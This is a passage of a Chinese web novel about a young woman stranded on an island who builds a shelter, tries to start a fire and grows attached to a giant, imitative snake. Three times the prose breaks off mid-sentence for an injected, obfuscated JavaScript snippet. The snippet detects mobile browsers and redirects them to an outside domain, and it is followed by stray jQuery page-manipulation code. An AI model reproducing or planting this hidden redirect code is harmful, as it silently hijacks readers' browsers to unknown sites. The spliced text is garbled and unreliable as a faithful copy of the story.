余初谨放下石头:“不要再往我身上泼水了。” 巨蟒:“嘶嘶。” “嘶嘶嘶嘶的,你听得懂吗你。” “嘶嘶。” 余初谨摇摇头,没再管它,转身看向远处海面,晨光如薄纱,海鸥于海面掠过。 风景宜人,岁月静好,余初谨由衷感慨。 如果不是被困在这里,只是来度假旅游就好了。 巨蟒也随着余初谨的视线,看向远处。 一人一蛇,齐齐遥望远方,沐浴在晨间阳光之下,融入这天地之间。 余初谨幽幽叹口气,收回落在远处的视线,心情低落,也不知道什么时候才能获救回家。 就在她心情低落之际,身边突然传来一声奇怪异响…… 4. 夸赞 004夸赞 发出异响的是那条蛇。 它又在那“呼呼呼”。 余初谨好笑看它:“你之前呼呼呼,是在学我喘气,我这会也没大喘气,你呼什么呢。” 顿了片刻,反应过来,余初谨刚刚因为心情不佳不自觉叹了几次气。 “学我叹气呢?” “呼呼。” “叹气是唉,不是呼。” “呼。” “呼你个大头鬼,这么爱学人,你有本事学我说话啊。” “嘶嘶。” 余初谨摇头笑笑,话是这么说,但蛇要真能说话,她估计得吓撅过去。 围着沙滩转了一大圈,捡了一堆垃圾,其中最有用的莫过于矿泉水瓶,一共捡了五个。 除了矿泉水瓶外还捡了几个破破烂烂的袋子,有塑料袋也有编织袋,也不知道袋子原本是用来装什么的,脏兮兮,一层泥沙糊在袋子上。 余初谨蹲在海边,简单用海水清洗了一下袋子和瓶子,最后把瓶子装袋子里,大包小包地拖回了她的临时庇护所。 说庇护所有点美化了,其实就是树下垫了块布。 瞧这情况,也不知道什么时候才能离开这里,得做好短期在此处生活的打算。 庇护所必须搭建出来,起码得有个遮雨的棚子,不然像现在这样露天,晴天倒是无所谓,一下雨可就摸瞎了,淋一场雨感冒了就更是雪上加霜。 余初谨把捡来的一堆袋子瓶子丢到一边,双手叉腰,四处环顾,顺带在脑子里回忆以前看荒岛求生节目时,里面的嘉宾是如何搭建庇护所的。 庇护所不需要太豪华,能具备短暂遮雨遮阳的功能就好,能度过这几天就好。 她始终抱着,她只是在这里短暂居住几天的想法。 她打算搭一个三角形的庇护所,这个搭建起来相对简单,说干就干,现在首要的是要去砍几根木棍当三角棚的支架。 余初谨在树林边缘环视一圈,找到了一颗大概手臂粗,笔直的树,很适合当三角棚的支架。 没有工具,只能徒手。 她先是用身体的重量将树压倒,后手脚并用的开始掰。 因为用力,表情逐渐扭曲,呲牙咧嘴的状态。 那条大蛇绕到她跟前,学她的表情。 余初谨:“……” 有时候真的很想揍蛇…… “你这条丑蛇,去去去,一边玩去。”余初谨挥手驱赶。 大蛇憨憨咧嘴,露出一排大白牙,挥手赶它也一动不动。 想赶走它,完全不可能。 余初谨咬了咬后槽牙,压下火气,继续掰树,动作到一半,顿住。 她的眼睛在大蛇身上上下扫视,视线最后落在它那一排大白牙上。 它的牙齿很锋利,咬椰子一口一个,那砍树应该也是一口一个吧。 余初谨眼珠贼兮兮地转悠一圈,立马换了一副嘴脸,和颜悦色,声音温柔。 “蛇蛇,这树好难掰,我手都掰疼了,你看,我手都红了,你能不能帮帮我。” 说着,还把勒红的手给它展示了一下。 大蛇歪头,眨眼,一脸呆萌。 “行不行嘛,求求你了。” “你就帮帮我嘛,你是好蛇。” “……” “你到底帮不帮,光歪着脑袋看我是什么意思。” 求了十分钟,没效果,余初谨叉腰,气急败坏,真面目暴露。 “你这条丑蛇!你不是好蛇!” “不帮就不帮,多了不起似的,我自己掰。” 余初谨气鼓鼓撸起衣袖,五分钟过去,显然,她小瞧了树枝的柔韧度,折腾好一会愣是扯不断。 累地双手扶膝,气喘吁吁。 至于旁边看热闹的蛇,它在那“呼呼呼”。 余初谨都快被气死了:“不许学我!” 大蛇缩缩脑袋,被她突然而来的一嗓子吓到了。 余初谨懒得搭理这条蛇,深吸口气,再次开始掰树,中途还去找来尖锐石头,对着树根位置砍。 树看着只有胳膊粗,似乎很容易被掰断的样子,但实际操作起来真的很费力。 折腾十来分钟,费了九牛二虎之力,伴随着“吧嗒”一声。 余初谨兴奋地蹦了一下,树终于被掰断了! 把树往大蛇眼前扬了扬,下巴抬起,嘚瑟道:“瞧见没,你不帮忙我也能掰下来。” 大蛇眨巴着懵懂的大眼睛。 余初谨切了一声,有点悻悻然。 要搭起一个三角形的庇护所,最少需要三根同等大小的木棍,现在才收集到一根木棍而已,掰一根她就耗费了将近半小时。 要是能有刀作为工具就好了,奈何现实很残酷,没刀,只能使用最原始的手段。 沿着树林边缘,挑选了好一会,再次看到一根不算粗但直的树木,又一次下手掰。 过程自然依旧极其艰难。 聚精会神掰树时,一个青色的小爪子突兀伸了过来。 爪子往那树干上轻轻一划拉,“咔擦”一声,断开了,断口整齐。 余初谨呆呆看了看地上砍断的树,又抬头呆呆了看了一眼,不知道什么时候已经挨得很近的大蛇。 大蛇爪子在沙地上踩,尾巴在后面摇摆,一脸期待地看着两脚兽。 它怎么又愿意帮忙了? 算了,不重要。 余初谨竖起大拇指:“你真棒,真厉害。” 大蛇淡青色的瞳孔登时亮晶晶,踩地的爪子踩得更欢了,摇晃的尾巴摇晃得更剧烈了。 余初谨憋笑,这么敷衍的夸一下就这么受用吗,果然是条傻蛇。 有免费又好用的劳动力,不用白不用。 余初谨又挑中一根树,指着它:“来,用你那爪子再划一下。” 大蛇被夸后,干劲十足,十分乐意,一爪一根树枝,一爪又一根树枝。 在大蛇的帮助下,余初谨很快就收集完了搭建庇护所需要用到的木材。 抱着一捆木材,余初谨乐得见牙不见眼。 如果单靠她自己,光砍木材说不定都得折腾一天,有了大蛇的帮忙,前前后后也就十分钟不到便完工了。 余初谨看向大蛇的目光里,不免多了一分欣赏。 “你这条蛇可真是条好蛇。” 她夸的真心实意,但这次,大蛇没反应。 余初谨思忖片刻,试探性的补上竖大拇指的动作,并调整了一下夸奖的固定词组:“你真棒,真厉害!” 大蛇眼睛一亮,咧嘴笑,露出一排大白牙,小爪子在沙地上踩啊踩,一副被夸了之后的乐呵傻样。 余初谨挑眉,原来换一种方式夸它,它听不懂。 那自己之前求了它十分钟,它毫无反应,会不会不是不想帮忙,而是压根没听懂…… 余初谨一拍脑袋,还真有这个可能,是自己蠢了,早知道一开始就用固定的动作固定的话语夸它了,要是一开始就夸它,哪至于费这些劲。 不过话说回来,它这么喜欢被夸,那以后想使唤它岂不是很容易,多夸夸它不就好了。 可怕的人类余初谨已经开始狠狠算计起了这只单纯大蛇。 使唤大蛇第一步。 “那什么,你帮我把这些木材拖回去。” “你真棒,真厉害!” 第一步就卒了,因为余初谨比划半天,大蛇听得懂夸它,但听不懂让它干的事情。 它就只会眨巴着它的眼睛,顺带歪着它的大脑袋。 余初谨咬牙切齿,夸它,它听得懂,让它搬树枝它就听不懂了是吧。 对此深表怀疑。 不得已,她只能自己苦哈哈地搬运木材。 一路呼哧带喘地拖着木材,跟在后面的大蛇悠悠闲闲,时不时学她“呼呼”两下,横竖就是没有要搭把手的意思。 大蛇帮砍树的时候,余初谨看它看顺眼了,这会再看它,又横竖都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但现在似乎也不是想这个的时候,生火固然重要,但并不是最为要紧的,需要处理的事情太多,就比如先把庇护所搭建起来。 把吃完的椰子丢到一边,余初谨从地上爬起来,开始了并不熟练的庇护所搭建。 三根木棍搭成一个三角形,再用绳子固定,绳子倒是有不少,滑翔伞上拆下来一大堆。 忙碌一小时,折腾得满头大汗,总算是把框架搭建得马马虎虎了,最后一步是在上面盖上树叶。 先是把在海边捡来的编织袋铺垫一层,用于防雨,然后在上面一层铺垫树叶,用于加固,树叶是她在椰子树下捡来的椰树叶,很适合当房顶。 赶在夜幕降临前,总算是将庇护所搭建完成。 余初谨拍拍手,双手叉腰,看着最终成果,满意点头。 虽然搭建得很一般,但足够了。 一个狭窄的三角架棚子,只能爬进去,无法站立,里面刚好够一个人窜进去躺着休息。 余初谨迫不及待窜到里面去,大剌剌地躺下,长长舒了一口气。 今晚应该能睡得舒服些了,有了棚子也不怕下雨了。 余初谨还没来得及休息多久,三角棚子上方传来震动感。 “碰”一声,余初谨惊得一个激灵。 是重物拍击的声音。 本就质量堪忧的庇护所,瞬间摇摇欲坠,差点被这一下子拍散架。 她急忙从庇护所里爬出来,就见到大蛇正拿着它的大尾巴,“啪啪啪”地拍击着刚搭建起来的庇护所。 大蛇拍得正起劲,然后就听一声脆响。 掀起一层沙尘,庇护所倒了。 沙土飞扬间,一蛇一人,四目相对,大眼瞪小眼。 5. 安全感 005坏蛇 沉默在蔓延。 她花了一下午时间才搭建起来的庇护所,就这么倒了…… 余初谨小拳头握得“咯吱”响。 大蛇眨巴眨巴眼睛,眼神飘忽不敢看人,似乎也意识到闯祸了,急急忙忙用尾巴试图扶起倒塌的庇护所。 成功将倒塌的庇护所扶了起来,大蛇眼睛一亮,立马转头望向余初谨邀功。 邀功一秒,下一秒庇护所又倒了,再次掀起一地灰尘。 大蛇慌张地又一次试图扶起,然后,把原本只是倒塌的庇护所整散架了。 满地狼藉。 余初谨眼睛抽搐。 大蛇缩回尾巴,眼睛不看人,东张西望,假装很忙的样子,就差把心虚写在脸上了。 有时候,真的很想打人,不对,打蛇。 但在它巨大的体型面前,余初谨选择了窝囊的忍气吞声。 忍气吞声两秒,看向彻底散架的庇护所,瞬间忍气吞声不了了。 捡起地上的石头,高举头顶。 大蛇反应瞬速,在余初谨捡起石头的一瞬,“嗖”一下就跑了。 跑得还挺快,望着跑远躲树后的大蛇,余初谨撇撇嘴,把石头随手丢掉,也不是真想用石头砸它,就是心中不爽,吓唬吓唬而已。 见吓唬到了蛇,余初谨心气稍微顺了点。 叹口气,认命般重新搭建倒塌的庇护所。 大蛇没轻没重地用尾巴拍打庇护所,致使绳子绷断,这才导致庇护所倒塌,重新固定绳子就好,倒也不算太费事。 余初谨认真缠绕绳子,重新铺盖树叶,没一会,庇护所又一次搭建完成。 这次她没急着钻进去休息,而是准备好好警告警告大蛇,省的它又把她的庇护所给拆了。 捡起威胁蛇的石头,朝远处树后走去,走至半路,脚步一顿。 蛇呢?怎么不见了。 余初谨四下环视一圈,仍旧没瞧见大蛇的踪影。 她眉心皱起,都习惯了它时时刻刻跟着粘着,这会突然不见了,让人很是不习惯。 远处的太阳沉入地平线,天色渐渐暗下来。 海浪时不时拍打着沙滩,风刮过身后的树,传来吱吱呀呀的声响。 余初谨吞咽了下喉咙,看向树林深处,黑压压一片,像是能将人吸进去一般令人恐惧。 她垂在两侧的手,不自觉收缩成拳,状着胆子出声喊。 “蛇?蛇,你去哪了,还在吗?” 之前只要出声就会立马回应的蛇,这次喊了好几声也不见有半分回应。 余初谨咬着唇,深呼吸,试图缓解惶恐的情绪。 没事的没事的,树林里不会窜出老虎狮子,这世界上也没有鬼,要相信科学,不要害怕,不要自己吓自己。 自我安慰了半天,效果……是没有的,反而是更害怕了,树林里稍微传来一点点小动静,余初谨都如同惊弓之鸟。 之前还嫌弃巨蟒长得吓人,现在它不在了,余初谨才知道,没有它在才是真正的吓人。 是不是刚刚拿石头吓唬它,太过分,它生气了,所以走了。 早知道就不吓唬它了。 庇护所倒了就倒了,也不是什么大事,更何况它也不是故意的,它就是好奇心重,就是想拍一下庇护所而已,怎么能怪它呢。 它只是一只蛇,它能懂什么,它能有什么坏心眼。 余初谨陷入无限懊悔中。 但话说回来,蛇那么大的块头,不就是拿石头吓唬了它一下而已,怎么心眼这么小,怎么说走就走了,连个招呼都不打,真没义气。 它太没义气了!它就不是一条好蛇! 余初谨一会觉得自己太过分,一会又觉得大蛇小心眼,一会觉得自己不对,一会觉得大蛇不对。 颓丧地坐在地上,现在说什么都晚了,大蛇已经走了。 情绪低迷之际,远处传来声响,余初谨立马坐直身子,警惕地看向声音源头。 树林里,好像有什么东西在朝她靠近。 余初谨捡起石头,身体紧绷,一脸防备,待到看清靠近的是什么后,神情一怔,随即整个人放松下来。 是大蛇。 “你还在啊,我还以为你走了!” 余初谨兴奋地小跑过去,从来没觉得大蛇如此亲切过。 她热烈欢迎,可大蛇却往后缩。 余初谨:“?” 低头看向手中握着的石头,反应过来,忙将石头丢到一边去。 “我不拿石头吓你了,你别怕,刚刚是我不对,不该拿石头吓唬你。”余初谨很怕它再次离开,主动道歉,主打一个能屈能伸。 明明之前巴不得它赶紧走,不要在她的四周晃荡,现在却又唯恐它离开。 虽然巨蟒长得吓人,但不得不承认,从昨天到今天,两天的时间,这条大蛇也给了她很多安全感,更帮助了她颇多。 大蛇见石头被丢开了,立马眉开眼笑,虽然它那大蛇头似乎也没有眉毛,但余初谨就是觉得大蛇眉开眼笑了。 “你笑了啊,你笑了就是不生气了,不生气了就不能走了,不能丢下我,知不知道,我们是朋友,朋友之间得讲义气,你得当一只有义气的蛇。” 余初谨开始pua它,试图忽悠,虽然它听不懂。 大蛇尾巴一甩,一只兔子被甩在了余初谨脚边。 白色的兔子,一动不动,脖子上沾了血,显然已经死透了。 余初谨神情微怔,原来刚刚大蛇是去抓兔子了,难不成是弄坏了庇护所,用兔子来赔罪? 大蛇用尾巴将兔子往她的方向推了推。 余初谨指了指自己:“给我的啊?” 大蛇眼睛眨巴眨巴,仿佛很期待她能吃,用眼神不断催促。 余初谨摸摸鼻子,她也想吃,可是她没有火,无法烤制,总不能生吃。 吃了两天的椰子,嘴里都快淡出鸟来了,很馋肉,但也还没馋到能啃生肉的程度。 大蛇见余初谨迟迟不动作,大脑袋往左边歪了歪,露出不解的神情,仿佛在问,你不饿吗,不吃吗。 “我不吃生的,等明天我想办法弄出火来再吃,”余初谨蹲下,手指戳了戳死掉的兔子:“就是不知道这么热的天,等到明天兔子会不会坏掉。” 大蛇看着蹲在地上对着兔子发呆的两脚兽,疑惑地左歪歪头,右歪歪头。 下一瞬,大蛇用尾巴把兔子一卷,张开大嘴,一口吞了。 余初谨愣了下:“不是给我的吗,不是用来赔罪的吗,你怎么还自己吃了。” 好歹给我留一半啊! 算了,吃了就吃了吧,反正现在也没火,免得到时候馊了浪费。 “这个你吃了就吃了,那等我生起火了之后,你再送我一个,你打猎应该很轻松吧。”余初谨同它商量。 要在这里生存下去,首要解决的自然是食物,余初谨自然不能放过让大蛇送食物这一捷径方式,这可比她去钓鱼要来的简单的多。 余初谨好声好气和它商量中,就见大蛇突然往外一吐。 大蛇又把兔子吐了出来。 余初谨茫然中…… 大蛇歪了歪脑袋,见余初谨还是没动作,再次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644049|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用尾巴卷起兔子,吞到嘴里,几秒过后又吐出来。 反复重复这个操作,吞进去,吐出来,吐出来,吞进去。 余初谨持续茫然中,顺带默默后退几步,干嘛呢这蛇,吃了吐吐了吃的。 蛇疯了还是怎么回事。 大蛇把满是口水的兔子再次推到余初谨脚边。 余初谨慢半拍的反应过来,哭笑不得道:“你不会以为我不会吃兔子,在教我怎么吃吧。” 大蛇下巴抬了抬,示意她赶紧吃,并做出咀嚼的动作,仿佛在说:就这么嚼,嚼完之后吞下去。 余初谨笑了,还真是在教自己怎么吃啊。 余初谨迟迟不肯吃兔子,大蛇急得围在余初谨身边转来转去。 就这么僵持好一会,大蛇确定了余初谨不吃,开始用尾巴扒拉翻看兔子,左看看右看看。 它耷拉着脑袋,一副我想不明白你为什么不吃兔子的苦恼模样。 这让余初谨想到了自家大黄,有次她生病了,大黄把它最爱的零食送到了床边,余初谨自然不可能吃。 大黄不理解,一直用爪子扒拉,试图让余初谨吃,多次拒绝后,大黄把零食叼走,露出苦恼神情。 大黄那时的苦恼神情,和大蛇现在的苦恼神情,极其相似。 还真是狗里狗气的一条蛇。 余初谨有点想摸摸它的蛇头,就像摸自家大黄那样,但对上它庞大的体型,又望而却步了。 大黄可以摸,大蛇她可不敢。 海边昼夜温差大,几乎是刚一黑天,气温就跟着骤降了几个度。 余初谨裹了裹身上的冲锋衣外套,准备钻进庇护所休息。 进去之前,想起了什么,回头看向仍旧对着兔子郁郁寡欢的大蛇,说:“蛇,你不能再拍我的庇护所了,知不知道。” 听到声音,大蛇回过头来看着人,头一歪,试图分辨余初谨说的话是什么意思。 但分析了半天,显然没分析明白,转回头去,继续对着兔子郁郁寡欢。 余初谨一阵好笑,不就是不吃它送的兔子吗,至于一副生无可恋的模样吗,瞧它那委屈劲,不知道的还以为怎么着它了。 不管它了,交代一句它不要拍自己的庇护所后,余初谨便爬了进去,平躺下,长舒一口气,闭上眼睛酝酿睡意。 外面传来悉悉索索的动静。 余初谨手臂撑起身子,探头往外看,不看不要紧,一看吓一跳。 两只绿油油的眼睛发着光,正直勾勾地看着她。 余初谨心吓得一突。 绿油油眼睛的主人正是那条大蛇,大蛇正好奇地往里探看,大脑袋还试图挤进来。 余初谨赶紧大声阻止:“停停停,你要再把我棚子弄坏,我跟你急眼你信不信。” 说话间,举起小拳头,做出警告。 这样的威胁没有半分威慑力,但大蛇停住动作了,“嘶嘶”两声,瘪着嘴巴,委委屈屈退开了。 余初谨见大蛇离开,松了口气。 躺了没一会,又不放心,爬了出来,看到大蛇盘踞在旁边的大树上,没有离开很远,这才彻底放下心来。 大蛇不能靠太近,但也不能离太远,毕竟有它在,才会安全感满满。 见余初谨出来,大蛇眼睛在黑夜里发光,兴奋地从树上下来了。 余初谨挥手:“继续待树上。” 大蛇不高兴地“嘶嘶”两声,一步三回头,不情不愿地折回树上。 余初谨点点头,不错,很听话。 第二天一睁眼,余初谨收回睡前觉得它听话的评价,因为…… 6. 钻木取火 006钻木取火 一觉睡醒,庇护所大门被堵住了,堵得严丝合缝,密不透风。 一颗大大的巨蟒脑袋,堵在门口。 大蛇眼睛闭着,时不时还吧唧一下嘴,也不知道梦到了什么,睡得正香。 余初谨:“……” 把头塞进这么狭小的三角棚子入口处,它也不嫌挤。 余初谨想出去,奈何它堵这么严实,不叫醒它似乎出不去,她只得“喂”了两声,试图把这家伙喊醒。 “喂,喂……”喊不醒,余初谨加大声音:“蛇!起来了!” 声音突然加大,大蛇被吓得一个激灵,猛地抬头。 然后,天亮了。 此天亮非彼天亮。 大蛇猛然抬头的动作,致使整个庇护所都被掀飞了出去,三角棚子滚出两米远,彻底散架。 余初谨陷入长久沉默中。 她搭的庇护所,一次是被大蛇拍塌了,一次直接被大蛇给掀飞了,这个庇护所还真是命运多舛。 然而,大蛇还在状态外,毫无所觉,晃晃脑袋,竟还十分拟人化地打了个哈欠。 余初谨没空怀疑蛇打哈欠是否正常,而是危险地眯起眼睛,定定盯着它。 大蛇睡意醒了,一开始还疑惑余初谨搭建的庇护所去哪了,很快似乎也明白过来,是它又把庇护所给拆了。 淡青色的眼球转来转去,心虚地不敢看人,最后庞大的身体在沙地上滑溜滑溜,倒退着溜走了。 躲到树后鬼鬼祟祟偷看人。 余初谨咬牙切齿。 她独自气了半天,最后好像也没办法拿这条蛇怎样,叹口气,默默把被顶飞的庇护所捡了回来。 回头看向躲在树后的某只大蛇,眼神逐渐幽怨。 这家伙不会是属哈士奇的吧,短短一个晚上,家都让它拆两次了,说它属哈士奇,哈士奇怕是都要自愧不如了。 熟能生巧,耗时半小时,余初谨又一次把庇护所复原。 复原后,第一时间回头看向还躲在树后猫着的大蛇。 她表情严肃,指了指庇护所,又指了指它,最后挥了挥拳头。 大蛇一脸无辜地眨巴着眼睛,也不知道懂没懂她的威胁,姑且算它懂了吧。 余初谨跑到海边洗了把脸,没有牙刷没有牙膏,只能通过海水来简单漱口,海水还带着一股子咸腥味,这让余初谨很是难受。 听说可以用草木灰漱口…… 在没有别的办法的情况下,草木灰不光可以漱口,还能洗澡洗头发,甚至还能消毒伤口,可以说是用处颇多,前提是有火,才能产出草木灰。 余初谨看向沙滩上书写的sos三个大字,两天时间过去,别说有飞机路过了,连鸟都没几只。 坐等被发现,机会渺茫,或许需要通过生火起烟的方式,增加被发现的概率。 绕来绕去,又回到了火源上,没有火,还真是做什么都不方便。 吃东西需要火,求救需要火,洗漱也需要火,火是荒岛求生很必须的一个东西。 她必须想办法生起火来。 有了目标,余初谨又一次忙碌起来。 至于那条大蛇,余初谨洗漱的时候,它跟在旁边有样学样的在那洗漱,等到余初谨洗漱完,去寻找生火的材料时,它又屁颠颠地跟着。 余初谨在树林边缘寻找能用作火绒的材料,大蛇就跟在后面继续充当学人精,也搁那找来找去。 看到一堆干草,余初谨小跑过去,收集起来。 跟在后面的大蛇瞪大眼睛,立马也过去,用尾巴卷起一堆干草,收集起来。 余初谨扯了扯嘴角,这家伙真是有够闲的,成天什么事情都不干,就跟在屁股后面当学人精。 “我收集干草是想生火,你收集来了干什么。”余初谨好笑道。 “嘶嘶。”大蛇摇头晃脑,把干草紧紧圈在尾巴上,很开心的样子。 余初谨摇摇头,不再管它,材料收集完成,来到庇护所旁边的树下,开始了她的钻木取火计划。 干草当火绒,另外还收集了些干木柴,算得上是装备齐全。 她先是用脚固定干木柴,后两只手合成掌,不停地挫动着手中木棍,开始了最原始的钻木取火。 大蛇趴在对面,眨巴着好奇的大眼睛。 余初谨动作停住,抬头看它,一脸严肃:“我是在生火,火生起来对于你们动物而言可能有点吓人,但对人类来说那是好东西,火生起来之后,你可别给我一尾巴拍没了,知不知道。” 鉴于它有多次前科,一次是她在沙地里写sos,它在后面用尾巴扫掉,一次是庇护所刚搭建起来,它用尾巴在上面好奇地拍啊拍。 多次前科之下,严重怀疑是哈士奇转世,必须提前打预防针,避免再次出现乌龙。 “你听懂了吗,不能灭我的火,你要是害怕火就躲远点。” “嘶嘶。” “别光嘶,听懂了你就点一下脑袋。” “嘶嘶。” 好吧,它并不会点头。 对于它有没有听懂这一点,余初谨持怀疑态度,只能尽量提防着它,免得好不容易把火生起来,就被它一尾巴扫没了。 警告完大蛇,余初谨继续搓木棍。 一小时过去,两小时过去,额头的汗渍滴在干草上,手臂发酸。 “啊,”余初谨倒吸一口凉气:“好痛。” 掌心被木棍搓破皮,疼得她面部扭曲。 望着磨破皮的掌心,以及连烟都没冒一点的干草,陷入长久的安静之中。 折腾两小时,满头是汗,筋疲力竭,结果连烟火星子都没瞧见一点。 她胸口剧烈起伏,不知道是累的还是气的。 突然站起来,一抬脚,一把将所有钻木取火的工具踹了出去。 大蛇正昏昏欲睡,突然一堆干草盖住头,有点懵。 余初谨将所有东西踹了出去后,选择瘫倒在地上,不愿动弹了。 算了吧,这种方法怎么可能生得起火来,算了吧算了吧,就这样吧。 没火就没火,天天吃椰子得了,草木灰也不需要,用烟火求救也不需要了。 余初谨呆望着头顶的树叶,一副自暴自弃的做派。 她哪里吃过这种苦,受不了一点,心态已然崩了。 大蛇疑惑看她,围着她转。 转了一会后,突然离开,等到大蛇再回来时,给她带回来一个开了口子的新鲜椰子。 余初谨一动不动,椰子吃两天了,她现在看到椰子就泛酸水。 大蛇把椰子推到她手边,余初谨依旧一动不动。 大蛇歪头,眼露不解。 余初谨有气无力:“你别管我了,我就是有点累,被打击到了,需要自我缓解缓解,椰子我待会吃,不吃能怎么办呢,总不能自己把自己饿死,啊,烦死了,为什么要让我经历这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644050|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,怎么就这么倒霉……” 叽里呱啦说一堆,大蛇自然是听不懂,它只知道两脚兽似乎不想吃椰子了。 大蛇眼睛转了转,想到了什么,“嗖”一下窜走了。 余初谨半撑起身子,就看到大蛇窜进了树林,消失在了树林深处。 半死不活的余初谨立马坐起身子,喊道:“喂,你去哪?” 余初谨想追上去,但只是一个起身的动作,大蛇就消失没影了,移动速度是人类望尘莫及的。 大蛇一眨眼就不见了,唯一证明它存在的证据,可能是沙地上留下的移动滑行轨迹。 余初谨眉心蹙起,本就烦闷的心情,又多添了一分不安。 不过相比昨天大蛇突然不见的强烈不安,今天显然从容了不少,昨天大蛇是晚上消失的,今天是白天,白天的环境总归是让人多一些安全感的。 它是觉得自己不想吃椰子,所以去给自己找其他食物去了吗? 别看余初谨嫌弃它是个跟屁虫,学人精,可它真走了,第一个着急的也是余初谨。 当然,也并非两天时间就对这条大蛇产生了什么浓厚感情,主要是大蛇在,可以保证她的安全性,大蛇不在,她就感觉岛上处处都是危险。 虽然她现在似乎也没见到过除大蛇之外的其它大型猛兽。 余初谨焦躁地走来走去,走来走去的同时,时不时看一眼大蛇刚刚消失的树林方向,期待着它能赶紧回来。 看了树林一眼又一眼,但每次都以失望收场。 早知道刚刚就吃椰子了,不整那副要死不活的样了,其实也不需要它去找其它食物,现在都没生起火来,它再弄来一个兔子或者其它猎物,她也没法吃。 胡思乱想多了,不免就往坏的方面想。 大蛇是去给她找食物吗,也许不是呢,万一它就是觉得她这个两脚兽没意思了,不想跟着了,不想呆在一块了,选择离开。 也有这种可能不是吗。 它应该还会回来吧? 时间一分一秒过去,不安的情绪不停盘旋,时间越久就越发焦躁。 没有手表可看时间,余初谨也不知道过了多久,但就是觉得过了好久好久。 久到度秒如年,久到余初谨觉得大蛇可能真的不会回来了。 一屁股坐在地上,垂着头,一脸颓丧,这狗屁孤岛一个人都没有,大蛇要是走了,她该怎么度过等待救援的这段时间。 看向远去遥遥无边际的海面,又或者说,她有等到救援的可能性吗,会有人发现余初谨其实没死,而是被困在了这座孤岛上吗? 也许,根本就不会有人发现她。 也是,她活了二十来年,本就没人关心无人在乎,不然她也不会沉迷于滑翔伞跳伞赛车这类刺激的极限运动,但凡有所牵挂,也不至于无所顾忌。 她消失了,谁会找她呢,没有人会找的,到底在期待谁会来救她,也许她的最终的归宿只会是被困孤岛致死。 想得越多越消沉。 被困第三天,因为钻木取火失败,因为大蛇的突然离开迟迟不归,余初谨陷入了前所未有的消极当中。 她甚至在想,与其被困在这个地方,过着这种吃了上顿没下顿野人日子,还不如当时滑翔伞出故障的时候直接死掉,一了百了来得痛快。 就在她低头揪头发,困于低迷情绪之际,树林深处,传来悉悉索索的声音。 余初谨猛地抬头看去。 7. 娇羞 007娇羞 一条巨蟒从树林里窜了出来,游动速度之快,犹如闪电,眨眼逼近。 换做常人,看到这一幕,必然吓得转身就跑。 初见巨蟒时,余初谨也的确是这个反应,但现在…… 不光不害怕还小跑着迎了上去,并大声凶道。 “你去哪了,可不可以不要总是一声不响的走,就算是要走,你好歹也要和我打个招呼,”凶着凶着,又涌出颇多委屈:“你知不知道我等你等的很着急,我还以为你不回来了……” 然而,大蛇半个字都听不懂,嘴里叼着一串树枝,歪着脑袋,望着底下跳脚抱怨的小小一个的两脚兽。 余初谨停下了叽叽喳喳的抱怨,留意到了它嘴上叼着的东西。 大蛇将嘴上叼着的树枝吐到余初谨脚边,树枝上吊挂着十几个果子。 余初谨欣喜不已,连忙弯腰去摘树枝上的果子,不难辨认,是野生油桃,个头小,颜色白中泛青,是并未完全成熟的油桃。 虽然没有完全成熟,但不管怎样,她总算是可以改善一下伙食了,终于不用继续吃椰子了,有其他食物可以吃了。 摘下一颗桃子,吹了吹表面灰尘,当即就要咬上一口尝尝味道。 刚动作,就对上了大蛇直勾勾的目光。 余初谨动作顿了顿,递给它:“你先吃?” 余初谨只是客气客气,不料大蛇张着大嘴巴就过来了,一口含住了她递过去的桃子。 准确来说,余初谨半个手臂都被大蛇含住了。 慌忙缩回手,一脸惊慌:“干嘛,你咬人啊!” 大蛇纯真无辜地看着人。 余初谨:“……” 余初谨低头检查手臂,除了沾染了些黏糊糊的口水外,似乎也没受伤。 “脏死了,全是你的口水,”她嫌弃地扯来树叶,擦拭手臂上的口水:“你吃东西就不能温柔点吗,知道的是你吃桃子,不知道的还以为你要连带着把我手臂也吃掉呢。” 大蛇依旧眨巴着无辜的大眼睛,顺带吐着蛇信子“嘶嘶”两声。 余初谨忽地抬起头来:“你口水里没毒吧,你应该不是一条毒蛇吧。” 不行,得赶紧去海边洗洗。 巨蟒一般不带毒,但万一呢,余初谨还是很怕死的,虽然她刚刚情绪低迷到想死,但过了那个想死的劲之后,她又比谁都要惜命怕死。 跑去海边洗手的同时,顺带把那一树枝的桃子也拖到了海边洗了洗。 先是将桃子全部摘下来,挨个清洗,洗着洗着,一道灼热视线凝聚在身侧。 大蛇正眼巴巴地看着。 “你还要吃啊?”余初谨问。 “嘶嘶。”大蛇盯着桃子。 “什么啊,这不你摘回来的吗,摘之前自己没吃饱吗。” 余初谨拿过一颗洗干净的桃子,这次没敢再徒手喂了,而是放到一边的沙地上,让它自己吃。 桃子放下的一瞬间,大蛇嘴巴一张,直接就咬向了桃子。 